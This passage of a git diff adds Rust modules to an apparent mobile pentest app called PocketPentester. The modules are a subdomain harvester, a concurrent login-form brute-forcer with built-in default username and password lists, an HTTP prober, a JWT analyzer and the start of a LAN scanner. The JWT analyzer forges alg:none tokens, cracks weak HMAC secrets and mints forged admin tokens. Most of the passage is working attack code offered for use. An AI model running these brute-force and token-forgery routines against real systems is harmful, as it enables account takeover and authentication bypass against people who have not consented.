r.get("dns_names").and_then(|v| v.as_array()) { + for n in names { + if let Some(s) = n.as_str() { + if let Some(h) = clean_host(s, tld) { out.push(h); } + } + } + } + } + Ok(out) +} + +// ------------------------------------------------------------------ +// Orchestrator +// ------------------------------------------------------------------ + +#[tauri::command] +pub async fn domain_grab(app: AppHandle, req: GrabRequest) -> Result, String> { + let tld = normalize_tld(&req.tld); + if tld.is_empty() { return Err("empty tld".into()); } + let client = reqwest::Client::builder() + .timeout(Duration::from_millis(req.timeout_ms)) + .user_agent("Mozilla/5.0 (PocketPentester-DomainGrabber)") + .build() + .map_err(|e| e.to_string())?; + + let _ = app.emit("grab:status", + format!("grabbing .{tld}{} from {} source(s)", + req.keyword.as_deref().map(|k| format!(" /keyword={k}")).unwrap_or_default(), + req.sources.len())); + + let seen: Arc>> = Arc::new(tokio::sync::Mutex::new(HashSet::new())); + let mut all: Vec = Vec::new(); + + let results = futures::future::join_all(req.sources.iter().map(|name| { + let client = client.clone(); + let tld = tld.clone(); + let keyword = req.keyword.clone(); + let name = name.clone(); + let app = app.clone(); + let max = req.max_per_source; + let wl_conc = req.wordlist_concurrency; + async move { + let started = std::time::Instant::now(); + let res = match name.as_str() { + "crtsh" => src_crtsh(&client, &tld, keyword.as_deref()).await, + "commoncrawl" => src_commoncrawl(&client, &tld, keyword.as_deref(), max).await, + "rapiddns" => src_rapiddns(&client, &tld, keyword.as_deref()).await, + "hackertarget" => src_hackertarget(&client, &tld, keyword.as_deref()).await, + "certspotter" => src_certspotter(&client, &tld, keyword.as_deref()).await, + "wordlist-id" => src_wordlist(&tld, keyword.as_deref(), &WL_KOMPAS, wl_conc, &app, &name).await, + "wordlist-id-full" => src_wordlist(&tld, keyword.as_deref(), &WL_KBBI, wl_conc, &app, &name).await, + "wordlist-en" => src_wordlist(&tld, keyword.as_deref(), &WL_EN_COMMON, wl_conc, &app, &name).await, + "wordlist-subs" => src_wordlist(&tld, keyword.as_deref(), &WL_SUBS, wl_conc, &app, &name).await, + other => Err(anyhow::anyhow!("unknown source: {other}")), + }; + let took = started.elapsed().as_millis(); + let stat = match &res { + Ok(list) => SourceStat { source: name.clone(), count: list.len(), error: None, took_ms: took }, + Err(e) => SourceStat { source: name.clone(), count: 0, error: Some(e.to_string()), took_ms: took }, + }; + let _ = app.emit("grab:source", stat); + (name, res) + } + })).await; + + for (name, res) in results { + if let Ok(list) = res { + let mut added = 0usize; + for host in list.into_iter().take(req.max_per_source * 4) { + let key = if req.apex_only { apex_of(&host, &tld) } else { host.clone() }; + let mut guard = seen.lock().await; + if guard.insert(key.clone()) { + drop(guard); + let hit = GrabHit { domain: key, source: name.clone() }; + let _ = app.emit("grab:hit", hit.clone()); + all.push(hit); + added += 1; + if added >= req.max_per_source { break; } + } + } + } + } + + let _ = app.emit("grab:done", all.len()); + Ok(all) +} diff --git a/src-tauri/src/modules/form_brute.rs b/src-tauri/src/modules/form_brute.rs new file mode 100644 index 0000000..d7f6907 --- /dev/null +++ b/src-tauri/src/modules/form_brute.rs @@ -0,0 +1,335 @@ +// =================================================================== +// Form Bruter — POST/GET login bruteforce with regex success/fail detection. +// +// Body template supports {USER} and {PASS} placeholders. +// Also supports {CSRF} — auto-extracted from a "priming" GET request. +// +// Success detection (in order, first matching rule wins): +// 1. success_regex — regex matching response body +// 2. fail_regex — regex matching response body (miss = hit) +// 3. success_status — status code matches (e.g. 302) +// 4. content-length delta threshold +// =================================================================== + +use std::collections::HashMap; +use std::sync::Arc; +use std::time::{Duration, Instant}; + +use futures::stream::{self, StreamExt}; +use regex::Regex; +use serde::{Deserialize, Serialize}; +use tauri::{AppHandle, Emitter}; +use tokio::sync::Semaphore; + +#[derive(Debug, Clone, Deserialize)] +pub struct FormBruteRequest { + pub url: String, + #[serde(default = "default_method")] + pub method: String, + /// Body template (or query if method=GET). Ex: `user={USER}&pass={PASS}` + pub body_template: String, + #[serde(default)] + pub headers: HashMap, + + pub users: Vec, + pub passwords: Vec, + + /// Attack mode: "clusterbomb" (cart. product, default) or "pitchfork" (lockstep pairs). + #[serde(default = "default_mode")] + pub mode: String, + + /// Prime URL — optional GET first to pick up cookies / CSRF token. + #[serde(default)] + pub prime_url: Option, + /// Regex to extract CSRF token from priming response. Use capture group 1. + #[serde(default)] + pub csrf_regex: Option, + #[allow(dead_code)] + #[serde(default = "default_csrf_field")] + pub csrf_field: String, // placeholder name in body template, default {CSRF} + + /// Success / failure detection (any match hits). + #[serde(default)] + pub success_regex: Option, + #[serde(default)] + pub fail_regex: Option, + #[serde(default)] + pub success_status: Option>, + /// If set, any response with body length outside baseline ± this delta is treated as success. + #[serde(default)] + pub size_delta_threshold: Option, + + pub concurrency: usize, + pub timeout_ms: u64, + #[serde(default)] + pub follow_redirects: bool, + #[serde(default)] + pub stop_on_first: bool, +} + +fn default_method() -> String { "POST".into() } +fn default_mode() -> String { "clusterbomb".into() } +fn default_csrf_field() -> String { "{CSRF}".into() } + +#[derive(Debug, Clone, Serialize)] +pub struct FormBruteHit { + pub user: String, + pub pass: String, + pub status: u16, + pub size: u64, + pub redirect: Option, + pub reason: String, + pub time_ms: u128, +} + +fn urlencode(s: &str) -> String { + use std::fmt::Write; + let mut out = String::new(); + for b in s.as_bytes() { + match *b { + b'A'..=b'Z' | b'a'..=b'z' | b'0'..=b'9' | b'-' | b'_' | b'.' | b'~' => out.push(*b as char), + _ => { let _ = write!(out, "%{:02X}", b); } + } + } + out +} + +fn substitute(template: &str, user: &str, pass: &str, csrf: &str) -> String { + template + .replace("{USER}", &urlencode(user)) + .replace("{PASS}", &urlencode(pass)) + .replace("{CSRF}", &urlencode(csrf)) + .replace("{USER_RAW}", user) + .replace("{PASS_RAW}", pass) +} + +#[tauri::command] +pub async fn form_brute_run(app: AppHandle, req: FormBruteRequest) -> Result, String> { + let client = reqwest::ClientBuilder::new() + .danger_accept_invalid_certs(true) + .timeout(Duration::from_millis(req.timeout_ms)) + .redirect(if req.follow_redirects { + reqwest::redirect::Policy::limited(5) + } else { + reqwest::redirect::Policy::none() + }) + .cookie_store(true) + .user_agent("Mozilla/5.0 (PocketPentester-FormBrute)") + .build() + .map_err(|e| e.to_string())?; + + // ---- priming: GET + CSRF extraction ---- + let mut csrf_val = String::new(); + if let Some(pu) = &req.prime_url { + let _ = app.emit("brute:status", format!("priming {pu}")); + match client.get(pu).send().await { + Ok(resp) => { + let body = resp.text().await.unwrap_or_default(); + if let Some(pattern) = &req.csrf_regex { + if let Ok(re) = Regex::new(pattern) { + if let Some(cap) = re.captures(&body) { + if let Some(m) = cap.get(1).or_else(|| cap.get(0)) { + csrf_val = m.as_str().to_string(); + let _ = app.emit("brute:status", format!("csrf token extracted ({} chars)", csrf_val.len())); + } + } + } + } + if csrf_val.is_empty() && req.csrf_regex.is_some() { + let _ = app.emit("brute:status", "csrf regex did not match priming response"); + } + } + Err(e) => { let _ = app.emit("brute:status", format!("prime failed: {e}")); } + } + } + + // ---- baseline: 1 request with dummy creds to learn the "failure" size ---- + let baseline_body = substitute(&req.body_template, "baseline_xxxxxxxx", "baseline_yyyyyy", &csrf_val); + let baseline_size: Option = { + let mut b = client.request( + reqwest::Method::from_bytes(req.method.as_bytes()).unwrap_or(reqwest::Method::POST), + &req.url, + ); + for (k, v) in &req.headers { b = b.header(k, v); } + if req.method.to_uppercase() == "GET" { + b = b.query(&parse_kv(&baseline_body)); + } else { + b = b.header("Content-Type", "application/x-www-form-urlencoded").body(baseline_body); + } + match b.send().await { + Ok(r) => { + let txt = r.text().await.unwrap_or_default(); + Some(txt.len() as i64) + } + Err(_) => None, + } + }; + if let Some(bs) = baseline_size { + let _ = app.emit("brute:status", format!("baseline fail response: {bs} bytes")); + } + + // ---- build pairs ---- + let pairs: Vec<(String, String)> = match req.mode.as_str() { + "pitchfork" => { + let n = req.users.len().min(req.passwords.len()); + (0..n).map(|i| (req.users[i].clone(), req.passwords[i].clone())).collect() + } + _ => { + let mut out = Vec::with_capacity(req.users.len() * req.passwords.len()); + for u in &req.users { + for p in &req.passwords { + out.push((u.clone(), p.clone())); + } + } + out + } + }; + + let total = pairs.len(); + let _ = app.emit("brute:status", format!("attempting {total} combinations ({})", req.mode)); + + // ---- compile regexes once ---- + let succ_re = req.success_regex.as_ref().and_then(|p| Regex::new(p).ok()); + let fail_re = req.fail_regex.as_ref().and_then(|p| Regex::new(p).ok()); + let succ_status: std::collections::HashSet = req.success_status.clone().unwrap_or_default().into_iter().collect(); + + let sem = Arc::new(Semaphore::new(req.concurrency.max(1))); + let done = Arc::new(std::sync::atomic::AtomicUsize::new(0)); + let stop = Arc::new(std::sync::atomic::AtomicBool::new(false)); + let client = Arc::new(client); + + let csrf = csrf_val; + let method = reqwest::Method::from_bytes(req.method.to_uppercase().as_bytes()) + .map_err(|e| format!("bad method: {e}"))?; + + let hits: Vec = stream::iter(pairs.into_iter()) + .map(|(user, pass)| { + let client = client.clone(); + let sem = sem.clone(); + let done = done.clone(); + let stop = stop.clone(); + let app = app.clone(); + let url = req.url.clone(); + let headers = req.headers.clone(); + let template = req.body_template.clone(); + let method = method.clone(); + let succ_re = succ_re.clone(); + let fail_re = fail_re.clone(); + let succ_status = succ_status.clone(); + let size_delta = req.size_delta_threshold; + let csrf = csrf.clone(); + let stop_first = req.stop_on_first; + async move { + if stop.load(std::sync::atomic::Ordering::Relaxed) { return None; } + let _permit = sem.acquire().await.unwrap(); + if stop.load(std::sync::atomic::Ordering::Relaxed) { return None; } + + let body = substitute(&template, &user, &pass, &csrf); + let start = Instant::now(); + + let mut builder = client.request(method.clone(), &url); + for (k, v) in &headers { builder = builder.header(k, v); } + if method == reqwest::Method::GET { + builder = builder.query(&parse_kv(&body)); + } else { + builder = builder.header("Content-Type", "application/x-www-form-urlencoded").body(body); + } + + let resp = match builder.send().await { + Ok(r) => r, + Err(_) => { + let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1; + let _ = app.emit("brute:progress", serde_json::json!({"done": n, "total": total})); + return None; + } + }; + + let status = resp.status().as_u16(); + let redirect = resp.headers().get("location") + .and_then(|v| v.to_str().ok()).map(String::from); + let body_text = resp.text().await.unwrap_or_default(); + let size = body_text.len() as u64; + let time_ms = start.elapsed().as_millis(); + + let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1; + let _ = app.emit("brute:progress", serde_json::json!({"done": n, "total": total})); + + // detect success + let mut reason = String::new(); + let mut matched = false; + if let Some(re) = &succ_re { + if re.is_match(&body_text) { matched = true; reason = "success_regex matched".into(); } + } + if !matched { + if let Some(re) = &fail_re { + if !re.is_match(&body_text) { matched = true; reason = "fail_regex did NOT match".into(); } + } + } + if !matched && !succ_status.is_empty() && succ_status.contains(&status) { + matched = true; reason = format!("success_status matched ({status})"); + } + if !matched { + if let (Some(delta), Some(bs)) = (size_delta, baseline_size) { + if (size as i64 - bs).abs() > delta { + matched = true; + reason = format!("size delta {} > {} (baseline {bs} vs {size})", + (size as i64 - bs).abs(), delta); + } + } + } + + if matched { + let hit = FormBruteHit { user, pass, status, size, redirect, reason, time_ms }; + let _ = app.emit("brute:hit", hit.clone()); + if stop_first { stop.store(true, std::sync::atomic::Ordering::Relaxed); } + Some(hit) + } else { + None + } + } + }) + .buffer_unordered(req.concurrency.max(1)) + .filter_map(|x| async move { x }) + .collect() + .await; + + let _ = app.emit("brute:done", hits.len()); + Ok(hits) +} + +fn parse_kv(s: &str) -> Vec<(String, String)> { + s.split('&').filter_map(|p| { + let (k, v) = p.split_once('=')?; + Some((k.to_string(), v.to_string())) + }).collect() +} + +#[tauri::command] +pub fn form_brute_common_users() -> Vec<&'static str> { + vec![ + "admin", "administrator", "root", "user", "test", "guest", + "superadmin", "sysadmin", "operator", "supervisor", "manager", + "support", "webmaster", "backup", "dev", "developer", + "info", "info@", "contact", "sales", "moderator", + "admin1", "admin2", "administrator1", + "pentest", "oscp", "offsec", + // common emails + "admin@example.com", "test@test.com", + ] +} + +#[tauri::command] +pub fn form_brute_common_passwords() -> Vec<&'static str> { + vec![ + "admin", "admin123", "administrator", "password", "password123", "pass123", + "12345", "123456", "1234567", "12345678", "123456789", "1234567890", + "qwerty", "qwerty123", "abc123", "111111", "000000", "letmein", + "welcome", "welcome1", "welcome123", "changeme", "changeme123", + "root", "toor", "pass", "test", "demo", "guest", + "default", "admin@123", "P@ssw0rd", "Password1", "P@ssword1", + "iloveyou", "monkey", "dragon", "master", "football", "baseball", + "Summer2023", "Summer2024", "Winter2024", "Autumn2024", + "company123", "corp123", "Company2024", + "admin2024", "password2024", "admin2023", "password2023", + ] +} diff --git a/src-tauri/src/modules/httpx.rs b/src-tauri/src/modules/httpx.rs new file mode 100644 index 0000000..36da9b8 --- /dev/null +++ b/src-tauri/src/modules/httpx.rs @@ -0,0 +1,147 @@ +use std::sync::Arc; +use std::time::Duration; + +use futures::stream::{self, StreamExt}; +use once_cell::sync::Lazy; +use regex::Regex; +use serde::{Deserialize, Serialize}; +use tauri::{AppHandle, Emitter}; +use tokio::sync::Semaphore; + +#[derive(Debug, Clone, Deserialize)] +pub struct HttpProbeRequest { + pub targets: Vec, + pub ports: Option>, + pub concurrency: usize, + pub timeout_ms: u64, + pub follow_redirects: bool, +} + +#[derive(Debug, Clone, Serialize)] +pub struct HttpProbeResult { + pub url: String, + pub status: u16, + pub title: Option, + pub server: Option, + pub content_length: Option, + pub tech: Vec, +} + +static TITLE_RE: Lazy = + Lazy::new(|| Regex::new(r"(?is)]*>(.*?)").unwrap()); + +fn detect_tech(headers: &reqwest::header::HeaderMap, body: &str) -> Vec { + let mut tech = Vec::new(); + let get = |k: &str| headers.get(k).and_then(|v| v.to_str().ok()).unwrap_or(""); + + let server = get("server").to_lowercase(); + let powered = get("x-powered-by").to_lowercase(); + + if server.contains("nginx") { tech.push("nginx".into()); } + if server.contains("apache") { tech.push("apache".into()); } + if server.contains("cloudflare") { tech.push("cloudflare".into()); } + if server.contains("iis") { tech.push("iis".into()); } + if powered.contains("php") { tech.push("php".into()); } + if powered.contains("express") { tech.push("express".into()); } + if powered.contains("asp.net") { tech.push("asp.net".into()); } + + let b = body.to_lowercase(); + if b.contains("wp-content") || b.contains("wp-includes") { tech.push("wordpress".into()); } + if b.contains("drupal-settings-json") { tech.push("drupal".into()); } + if b.contains("joomla") { tech.push("joomla".into()); } + if b.contains("__next_data__") { tech.push("next.js".into()); } + if b.contains("data-reactroot") || b.contains("__reactcontainer") { tech.push("react".into()); } + if b.contains("ng-version") { tech.push("angular".into()); } + if b.contains("window.laravel") || b.contains("laravel_session") { tech.push("laravel".into()); } + + tech +} + +async fn probe_one(client: &reqwest::Client, url: String) -> Option { + let resp = client.get(&url).send().await.ok()?; + let status = resp.status().as_u16(); + let headers = resp.headers().clone(); + let content_length = resp.content_length(); + let server = headers + .get("server") + .and_then(|v| v.to_str().ok()) + .map(String::from); + + let body = resp.text().await.unwrap_or_default(); + let title = TITLE_RE + .captures(&body) + .and_then(|c| c.get(1)) + .map(|m| m.as_str().trim().to_string()) + .filter(|s| !s.is_empty()); + + let tech = detect_tech(&headers, &body); + + Some(HttpProbeResult { url, status, title, server, content_length, tech }) +} + +#[tauri::command] +pub async fn http_probe( + app: AppHandle, + req: HttpProbeRequest, +) -> Result, String> { + let client = reqwest::Client::builder() + .danger_accept_invalid_certs(true) + .timeout(Duration::from_millis(req.timeout_ms)) + .redirect(if req.follow_redirects { + reqwest::redirect::Policy::limited(5) + } else { + reqwest::redirect::Policy::none() + }) + .user_agent("Mozilla/5.0 (PocketPentester)") + .build() + .map_err(|e| e.to_string())?; + + let ports = req.ports.unwrap_or_else(|| vec![80, 443, 8080, 8443]); + + let mut urls: Vec = Vec::new(); + for t in &req.targets { + let t = t.trim(); + if t.starts_with("http://") || t.starts_with("https://") { + urls.push(t.to_string()); + continue; + } + for p in &ports { + let scheme = if matches!(p, 443 | 8443) { "https" } else { "http" }; + if *p == 80 || *p == 443 { + urls.push(format!("{scheme}://{t}")); + } else { + urls.push(format!("{scheme}://{t}:{p}")); + } + } + } + + let total = urls.len(); + let sem = Arc::new(Semaphore::new(req.concurrency.max(1))); + let done = Arc::new(std::sync::atomic::AtomicUsize::new(0)); + let client = Arc::new(client); + + let results: Vec = stream::iter(urls.into_iter()) + .map(|url| { + let sem = sem.clone(); + let done = done.clone(); + let client = client.clone(); + let app = app.clone(); + async move { + let _permit = sem.acquire().await.unwrap(); + let res = probe_one(&client, url).await; + let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1; + let _ = app.emit("httpx:progress", serde_json::json!({"done": n, "total": total})); + if let Some(ref r) = res { + let _ = app.emit("httpx:hit", r.clone()); + } + res + } + }) + .buffer_unordered(req.concurrency.max(1)) + .filter_map(|x| async move { x }) + .collect() + .await; + + let _ = app.emit("httpx:done", results.len()); + Ok(results) +} diff --git a/src-tauri/src/modules/jwt.rs b/src-tauri/src/modules/jwt.rs new file mode 100644 index 0000000..9c59ad4 --- /dev/null +++ b/src-tauri/src/modules/jwt.rs @@ -0,0 +1,257 @@ +use base64::engine::general_purpose::URL_SAFE_NO_PAD; +use base64::Engine; +use hmac::{Hmac, Mac}; +use serde::{Deserialize, Serialize}; +use sha2::{Sha256, Sha384, Sha512}; +use tauri::{AppHandle, Emitter}; + +type HmacSha256 = Hmac; +type HmacSha384 = Hmac; +type HmacSha512 = Hmac; + +#[derive(Debug, Clone, Serialize)] +pub struct JwtDecoded { + pub header: serde_json::Value, + pub payload: serde_json::Value, + pub signature_b64: String, + pub alg: String, + pub issues: Vec, + pub forgeries: Vec, +} + +#[derive(Debug, Clone, Serialize)] +pub struct JwtIssue { + pub severity: String, + pub title: String, + pub detail: String, +} + +#[derive(Debug, Clone, Serialize)] +pub struct JwtForgery { + pub attack: String, + pub description: String, + pub token: String, +} + +fn b64_decode(s: &str) -> Option> { + URL_SAFE_NO_PAD.decode(s).ok() +} + +fn b64_encode(b: &[u8]) -> String { + URL_SAFE_NO_PAD.encode(b) +} + +fn parse(token: &str) -> Result<(serde_json::Value, serde_json::Value, String, String, String), String> { + let parts: Vec<&str> = token.split('.').collect(); + if parts.len() != 3 { + return Err("not a valid JWT (expected 3 parts)".into()); + } + let h_bytes = b64_decode(parts[0]).ok_or("bad base64 header")?; + let p_bytes = b64_decode(parts[1]).ok_or("bad base64 payload")?; + + let header: serde_json::Value = + serde_json::from_slice(&h_bytes).map_err(|e| format!("header json: {e}"))?; + let payload: serde_json::Value = + serde_json::from_slice(&p_bytes).map_err(|e| format!("payload json: {e}"))?; + + Ok(( + header, + payload, + parts[2].to_string(), + parts[0].to_string(), + parts[1].to_string(), + )) +} + +fn sign_hmac(key: &[u8], signing_input: &str, alg: &str) -> Option> { + match alg { + "HS256" => { + let mut mac = HmacSha256::new_from_slice(key).ok()?; + mac.update(signing_input.as_bytes()); + Some(mac.finalize().into_bytes().to_vec()) + } + "HS384" => { + let mut mac = HmacSha384::new_from_slice(key).ok()?; + mac.update(signing_input.as_bytes()); + Some(mac.finalize().into_bytes().to_vec()) + } + "HS512" => { + let mut mac = HmacSha512::new_from_slice(key).ok()?; + mac.update(signing_input.as_bytes()); + Some(mac.finalize().into_bytes().to_vec()) + } + _ => None, + } +} + +const COMMON_SECRETS: &[&str] = &[ + "secret", "password", "123456", "admin", "jwt", "jwt_secret", "jwtsecret", + "key", "your-256-bit-secret", "my_secret", "default", "test", "changeme", + "supersecret", "supersecretkey", "secretkey", "private", "MIIEvQIBA", + "hmac_secret", "token_secret", "api_secret", "auth_secret", +]; + +#[derive(Debug, Clone, Deserialize)] +pub struct JwtRequest { + pub token: String, + pub wordlist: Option>, +} + +#[tauri::command] +pub async fn jwt_analyze(app: AppHandle, req: JwtRequest) -> Result { + let (header, payload, sig, h_b64, p_b64) = parse(req.token.trim())?; + + let alg = header + .get("alg") + .and_then(|v| v.as_str()) + .unwrap_or("?") + .to_string(); + + let mut issues: Vec = Vec::new(); + let mut forgeries: Vec = Vec::new(); + + // ==== ISSUES ==== + if alg.eq_ignore_ascii_case("none") { + issues.push(JwtIssue { + severity: "CRITICAL".into(), + title: "alg:none".into(), + detail: "server accepts unsigned tokens if this alg was negotiated".into(), + }); + } + + if alg.starts_with("HS") { + issues.push(JwtIssue { + severity: "INFO".into(), + title: "HMAC symmetric algorithm".into(), + detail: "if secret is weak or algorithm confusion (HS vs RS) possible, token is forgeable".into(), + }); + } + + if let Some(exp) = payload.get("exp").and_then(|v| v.as_i64()) { + let now = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .map(|d| d.as_secs() as i64) + .unwrap_or(0); + if exp < now { + issues.push(JwtIssue { + severity: "INFO".into(), + title: "expired".into(), + detail: format!("exp={exp}, now={now}"), + }); + } + } else { + issues.push(JwtIssue { + severity: "MEDIUM".into(), + title: "no exp claim".into(), + detail: "token does not expire — persistence risk".into(), + }); + } + + if header.get("kid").is_some() { + issues.push(JwtIssue { + severity: "MEDIUM".into(), + title: "kid present".into(), + detail: "test for kid SQLi/path-traversal injection (e.g. `kid=../../../../dev/null`)".into(), + }); + } + + if let Some(jku) = header.get("jku").and_then(|v| v.as_str()) { + issues.push(JwtIssue { + severity: "HIGH".into(), + title: "jku header".into(), + detail: format!("token fetches signing key from URL: {jku} — test host-header/SSRF bypass"), + }); + } + + if let Some(x5u) = header.get("x5u").and_then(|v| v.as_str()) { + issues.push(JwtIssue { + severity: "HIGH".into(), + title: "x5u header".into(), + detail: format!("token references cert at URL: {x5u} — test spoofing"), + }); + } + + // ==== FORGERIES ==== + + // 1. alg:none forgery + let none_header = serde_json::json!({ "alg": "none", "typ": "JWT" }); + let none_header_b64 = b64_encode(serde_json::to_string(&none_header).unwrap().as_bytes()); + let none_token = format!("{}.{}.", none_header_b64, p_b64); + forgeries.push(JwtForgery { + attack: "alg:none".into(), + description: "empty signature with alg=none header".into(), + token: none_token, + }); + + // 2. alg:NONE variant (case tricks) + for variant in &["None", "NONE", "nOnE"] { + let h = serde_json::json!({ "alg": variant, "typ": "JWT" }); + let h_b64 = b64_encode(serde_json::to_string(&h).unwrap().as_bytes()); + forgeries.push(JwtForgery { + attack: format!("alg:{variant}"), + description: "case-variation bypass for alg=none filters".into(), + token: format!("{}.{}.", h_b64, p_b64), + }); + } + + // 3. HMAC weak-secret bruteforce + if alg.starts_with("HS") { + let signing_input = format!("{}.{}", h_b64, p_b64); + let expected_sig = b64_decode(&sig).unwrap_or_default(); + + let wordlist: Vec = req + .wordlist + .unwrap_or_default() + .into_iter() + .chain(COMMON_SECRETS.iter().map(|s| s.to_string())) + .collect(); + + let total = wordlist.len(); + let _ = app.emit("jwt:status", format!("bruteforcing HMAC secret ({total} candidates)...")); + + for (i, secret) in wordlist.iter().enumerate() { + if let Some(computed) = sign_hmac(secret.as_bytes(), &signing_input, &alg) { + if computed == expected_sig { + issues.push(JwtIssue { + severity: "CRITICAL".into(), + title: "weak HMAC secret".into(), + detail: format!("signing key recovered: \"{secret}\""), + }); + + // craft forged admin token + if let Some(mut forged_payload) = payload.as_object().cloned() { + forged_payload.insert("admin".into(), serde_json::json!(true)); + forged_payload.insert("role".into(), serde_json::json!("admin")); + let forged_p_b64 = b64_encode( + serde_json::to_string(&forged_payload).unwrap().as_bytes(), + ); + let forged_input = format!("{}.{}", h_b64, forged_p_b64); + if let Some(new_sig) = sign_hmac(secret.as_bytes(), &forged_input, &alg) { + forgeries.push(JwtForgery { + attack: format!("HMAC-forge ({secret})"), + description: "valid sig with admin=true / role=admin injected".into(), + token: format!("{}.{}", forged_input, b64_encode(&new_sig)), + }); + } + } + break; + } + } + if i % 50 == 0 { + let _ = app.emit("jwt:progress", serde_json::json!({"done": i, "total": total})); + } + } + let _ = app.emit("jwt:progress", serde_json::json!({"done": total, "total": total})); + } + + let _ = app.emit("jwt:done", serde_json::json!({"issues": issues.len(), "forgeries": forgeries.len()})); + + Ok(JwtDecoded { + header, + payload, + signature_b64: sig, + alg, + issues, + forgeries, + }) +} diff --git a/src-tauri/src/modules/lan_map.rs b/src-tauri/src/modules/lan_map.rs new file mode 100644 index 0000000..001762e --- /dev/null +++ b/src-tauri/src/modules/lan_map.rs @@ -0,0 +1,480 @@ +// =================================================================== +// LAN Map — discover devices on the connected local network. +// +// Pure Rust, works on Android without root. Combines: +// 1. TCP sweep on common ports across the /24 subnet +// 2. mDNS service discovery (UDP 5353 multicast) +// 3. SSDP/UPnP M-SEARCH (UDP 1900 multicast) +// +// NOTE on Android: multicast (mDNS/SSDP) requires WifiManager +// MulticastLock to be held by the host app. Without it, the OS +// drops multicast traffic in power-save. TCP sweep always works. +// +// TODO(plugin): Tauri Android plugin to acquire MulticastLock so +// mDNS/SSDP returns reliable results on phone. +// TODO(oui): bundle a curated OUI prefix DB for vendor lookup. +// =================================================================== + +use std::collections::HashMap; +use std::net::{IpAddr, Ipv4Addr, SocketAddr}; +use std::sync::Arc; +use std::time::Duration; + +use futures::stream::{self, StreamExt}; +use serde::{Deserialize, Serialize}; +use tauri::{AppHandle, Emitter}; +use tokio::net::{TcpStream, UdpSocket}; +use tokio::sync::Mutex; +use tokio::time::timeout; + +#[derive(Debug, Clone, Deserialize)] +pub struct LanScanRequest { + pub subnet_cidr: Option, // e.g. "192.168.1.0/24" — autodetect if None + pub ports: Option>, // ports to TCP-probe per host + pub probe_mdns: bool, + pub probe_ssdp: bool, + pub concurrency: usize, + pub timeout_ms: u64, +} + +#[derive(Debug, Clone, Serialize, Default)] +pub struct LanDevice { + pub ip: String, + pub hostname: Option, + pub open_ports: Vec, + pub services: Vec, // mDNS PTR services + pub upnp: Vec, // SSDP server / device descriptions + pub guess: Option, // best-effort device type guess +} + +#[derive(Debug, Clone, Serialize)] +pub struct LanScanReport { + pub local_ip: String, + pub subnet: String, + pub devices: Vec, +} + +const DEFAULT_PORTS: &[u16] = &[ + 21, 22, 23, 53, 80, 81, 88, 111, 135, 139, 143, 443, 445, 515, 548, + 554, 631, 873, 902, 993, 995, 1080, 1433, 1521, 1723, 1883, 2049, 2121, + 2222, 2375, 2376, 3000, 3306, 3389, 3478, 4444, 4567, 5000, 5040, 5432, + 5555, 5601, 5672, 5900, 5984, 6379, 6667, 7000, 7077, 7474, 7680, 8000, + 8008, 8009, 8080, 8081, 8086, 8088, 8089, 8123, 8181, 8200, 8291, 8333, + 8443, 8500, 8765, 8834, 8888, 9000, 9090, 9100, 9200, 9418, 9999, 10000, + 11211, 15672, 27017, 32400, 49152, +]; + +const MDNS_SERVICES: &[&str] = &[ + "_services._dns-sd._udp.local", + "_http._tcp.local", + "_https._tcp.local", + "_ssh._tcp.local", + "_sftp-ssh._tcp.local", + "_smb._tcp.local", + "_afpovertcp._tcp.local", + "_printer._tcp.local", + "_ipp._tcp.local", + "_ipps._tcp.local", + "_pdl-datastream._tcp.local", + "_airplay._tcp.local", + "_raop._tcp.local", + "_googlecast._tcp.local", + "_spotify-connect._tcp.local", + "_homekit._tcp.local", + "_hap._tcp.local", + "_workstation._tcp.local", + "_device-info._tcp.local", + "_amzn-wplay._tcp.local", +]; + +// ------------------------------------------------------------------ +// helpers +// ------------------------------------------------------------------ + +fn detect_local_ipv4() -> Option { + match local_ip_address::local_ip() { + Ok(IpAddr::V4(v4)) => Some(v4), + _ => None, + } +} + +fn parse_or_autodetect_subnet(spec: Option<&str>) -> Option<(Ipv4Addr, Vec, String)> { + if let Some(cidr) = spec { + if let Some((net, _)) = cidr.split_once('/') { + if let Ok(base) = net.parse::() { + // simple /24 only for now + let octets = base.octets(); + let hosts: Vec = (1..255).map(|h| Ipv4Addr::new(octets[0], octets[1], octets[2], h)).collect(); + return Some((base, hosts, cidr.to_string())); + } + } + } + let me = detect_local_ipv4()?; + let oct = me.octets(); + let base = Ipv4Addr::new(oct[0], oct[1], oct[2], 0); + let hosts: Vec = (1..255) + .map(|h| Ipv4Addr::new(oct[0], oct[1], oct[2], h)) + .filter(|ip| *ip != me) + .collect(); + Some((base, hosts, format!("{}.{}.{}.0/24", oct[0], oct[1], oct[2]))) +} + +fn guess_from_ports_and_services(ports: &[u16], services: &[String], upnp: &[String]) -> Option { + let s_lower: Vec = services.iter().chain(upnp.iter()).map(|s| s.to_lowercase()).collect(); + let any = |needle: &str| s_lower.iter().any(|s| s.contains(needle)); + + if any("googlecast") { return Some("Google Cast / Chromecast".into()); } + if any("airplay") || any("raop") { return Some("Apple AirPlay device".into()); } + if any("homekit") || any("hap") { return Some("HomeKit accessory".into()); } + if any("spotify-connect") { return Some("Spotify Connect speaker".into()); } + if any("printer") || any("ipp") || any("pdl") { return Some("Network printer".into()); } + if any("workstation") { return Some("Workstation (NETBIOS/SMB)".into()); } + + if ports.contains(&445) || ports.contains(&139) { return Some("Windows / Samba host".into()); } + if ports.contains(&3389) { return Some("Windows RDP host".into()); } + if ports.contains(&22) { return Some("SSH server".into()); } + if ports.contains(&80) && ports.contains(&443) && ports.contains(&8443) { return Some("Web server / appliance".into()); } + if ports.contains(&554) || ports.contains(&8000) || ports.contains(&8554) { return Some("IP camera (RTSP)?".into()); } + if ports.contains(&5900) { return Some("VNC server".into()); } + if ports.contains(&3306) || ports.contains(&5432) || ports.contains(&27017) { return Some("Database server".into()); } + if ports.contains(&53) && ports.contains(&80) { return Some("Router / gateway".into()); } + if ports.contains(&80) || ports.contains(&8080) { return Some("HTTP service".into()); } + None +} + +// ------------------------------------------------------------------ +// TCP sweep +// ------------------------------------------------------------------ + +async fn tcp_probe(ip: Ipv4Addr, port: u16, timeout_ms: u64) -> bool { + let addr = SocketAddr::new(IpAddr::V4(ip), port); + matches!( + timeout(Duration::from_millis(timeout_ms), TcpStream::connect(addr)).await, + Ok(Ok(_)) + ) +} + +async fn sweep_host(ip: Ipv4Addr, ports: &[u16], concurrency: usize, timeout_ms: 